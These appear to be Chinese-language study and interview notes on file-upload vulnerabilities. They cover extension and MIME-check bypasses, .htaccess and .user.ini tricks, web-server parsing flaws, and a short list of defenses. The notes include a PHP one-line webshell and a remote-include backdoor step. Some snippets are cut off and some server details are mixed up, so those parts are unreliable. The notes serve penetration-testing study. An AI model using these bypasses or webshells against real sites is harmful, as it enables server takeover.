文件上传总结
文件上传:
常见安全问题:
- 1、上传脚本文件,服务器web容器解释并执行了脚本,导致代码执行
- 2、上传病毒、木马文件、引诱用户或管理员下载执行
- 3、上传钓鱼图片、或者包含了脚本的文件,在某些版本的浏览器中作为脚本执行,或者钓鱼欺诈
客户端检测+绕过:
前端验证文件后缀:shell.php.png
但是可以直接修改前端验证代码(png改成php),或者抓包修改文件后缀->shell.php.png->shell.pnp
后端验证:
1、白名单校对——%00截断:
在C或者PHP语言中0x00被认为是终止符。后缀名可以修改为xxx.php%00.jpg,绕过文件类型验证判断
但在服务器中是xxx.php 因为jpg没有被执行解释。[\0]16进制
原理:URL中%00转换为ASCII字符是0,而ASCII中的0作为特殊字符保留,表示字符串结束。
2、Content-Type:判断类型,也可以抓包直接修改为image/png
3、MIME Sniff功能:读取文件前256个字节判断文件类型
4、黑名单:
4.1 可以文件后缀替换
asp 可以用 asa 、 cer4.2 过滤了大部分后缀,无法上传可以找有没有过滤htaccess文件(apache 的配置文件,在网站的根目录下)
http.conf文件(前提条件)
在此文件中设置 AllowOverried All ,才能使用.htaccess文件
如果在一个黑名单中添加了很多后缀名,唯独没有对htaccess过滤,可以直接上传.htaccess来设置使用php解析任意文件。
1 | <FilesMatch "\.jpg"> |
任意文件都可以被PHP执行
可以直接上传一句话木马
保存为 stack.jpg 文件
<?php eval($_POST['a']); ?>
- 4.3 空格绕过黑名单
抓包后修改后缀,加一个空格 test.ph p
- 4.4 大小写绕过
Apache文件解析问题(存在于Apache1.x Apache2.x中)
apache 是从后面向前解析文件名的。可以通过mime.types查看Apache认识什么类型的文件。
xxx.php.jar.jar 从后往前解析,如果jar 不能解析,再往左,直到解析到php 后缀,此文件就作为PHP文件执行了
IIS文件解析漏洞:
IIS5.x/6.0在处理含有特殊符号的文件路径时会出现逻辑漏洞,从而造成文件解析漏洞
/test.asp/shell.jpg 会新建一个文件夹,该文件夹中所有文件都被当做asp执行
shell.asp;.jpg 类似%00截断,解析后为shell.asp 执行
Nginx 文件解析
上传图片马后,在访问图片路径后加/x.php,找不到x.php文件时,会向上继续寻找,我们构造的图片马,导致代码执行。
条件是配置文件中 CGI默认开启 影响版本IIS7.0/7.5
如果CGI关闭,还存在截断解析,上传图片马访问时/shell.jpg%00.php 解析为PHP文件
另一种利用可以在图片中写入生成shell文件的代码
‘);?>
访问test.jpg/.php会在该目录生成一句话木马
文件上传
防御措施:
1、文件上传后的目录设置为不可执行的文件,可以放在独立的存储器上,作为静态文件处理
2、使用随机数改写文件名和文件路径,不对外展示存储路径和文件名
3、图片二次渲染,使用压缩函数处理图片
4、黑白名单
实战利用:
1、查看前端是否有验证
有验证直接修改
没有验证直接抓包
2、抓到包修改Content-Disposition filename = ‘xxx.php’
Content-Type: image/png
内容:xxxxxxxxxxxxxx(可插入后门代码)
如果直接上传成功,则直接利用
3、有内容字符过滤
转换后门代码格式
图片中内容字符中可以插入后门代码
图片有二次渲染则保存二次渲染的图片
- 在二次渲染的图片中插入后门代码
突破 . 过滤
- 利用远程ip转换地址调用执行
.user.ini 文件 auto_prepend_file=xxx.png
xxx.png=include'http://6464646'?>
远程地址文件中添加后门,可以远程调用
- 利用远程ip转换地址调用执行
调用:
post:x=执行文件
面试:
文件上传利用Windows特性绕过?
1、Windows大小写不敏感,可以利用后缀大小写绕过
2、修改后缀绕过,Windows特性文件命名不允许 .或 空格 会自动去掉,利用这个特性绕过
黑名单过滤了大部分后缀,没有过滤加点后的后缀shell.php.
抓包改后缀加一个. 或者 _(下划线为空格),上传绕过
抓包修改后缀名
Windows不允许这种命名,所以会自动去掉空格和点
大小写绕过-window特性对大小写不敏感
截断绕过
同义后缀替换绕过
中间件文件后缀解析绕过
IIS/5/6/7
Nginx
Apache
Windows特性绕过
- 大小写不敏感
- 特殊符号解析时过滤
上传图片如何解析?
有一个shell,如何利用xss实现长久控制?